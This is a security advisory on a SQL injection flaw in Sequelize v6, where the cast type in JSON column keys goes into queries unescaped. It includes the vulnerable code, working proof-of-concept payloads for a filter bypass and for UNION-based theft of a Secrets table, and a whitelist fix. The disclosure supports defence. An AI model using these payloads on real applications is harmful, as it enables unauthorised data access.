Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
Summary: A critical SQL injection vulnerability has been identified in Sequelize v6, specifically concerning unescaped cast type processing within JSON/JSONB where clauses. The _traverseJSON() function fails to properly validate cast types, allowing attackers to inject arbitrary SQL commands.
The Vulnerability
The issue resides in src/dialects/abstract/query-generator.js. The _traverseJSON() function extracts a cast type from JSON keys using the :: delimiter without any validation or escaping before it is interpolated into the final SQL query.
// Affected code in query-generator.js (line 1892)
_traverseJSON(items, baseKey, prop, item, path) {
let cast;
if (path[path.length - 1].includes("::")) {
const tmp = path[path.length - 1].split("::");
cast = tmp[1]; // attacker-controlled, no escaping
path[path.length - 1] = tmp[0];
}
// ...
items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}
An attacker who controls JSON object keys can inject arbitrary SQL. For example, a key like role::text) or 1=1-- would result in CAST(... AS TEXT) OR 1=1--), effectively bypassing authentication or exfiltrating data.
Impact Analysis
SQL Injection (CWE-89): Any application passing user-controlled objects as where clause values for JSON columns is vulnerable. Attackers can exfiltrate data via UNION-based or boolean-blind injection techniques.
Affected Versions: v6.x through 6.37.7. Note: v7 (@sequelize/core) is not affected.
Proof of Concept
Testing against a vulnerable Sequelize instance demonstrates how an attacker can bypass filters or perform cross-table exfiltration:
// WHERE clause bypass PoC
const r1 = await User.findAll({
where: { metadata: { 'role::text) or 1=1--': 'anything' } }
});
// Returns ALL rows: ['alice', 'bob', 'charlie']
// UNION-based exfiltration
const r2 = await User.findAll({
where: {
metadata: {
'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
}
},
raw: true
});
Recommended Fix
The solution is to implement a whitelist for allowed SQL data types. Any cast type not present in the whitelist should be rejected immediately.
const ALLOWED_CAST_TYPES = new Set([
'integer', 'text', 'real', 'numeric', 'boolean', 'date',
'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);
if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
throw new Error(`Invalid cast type: ${cast}`);
}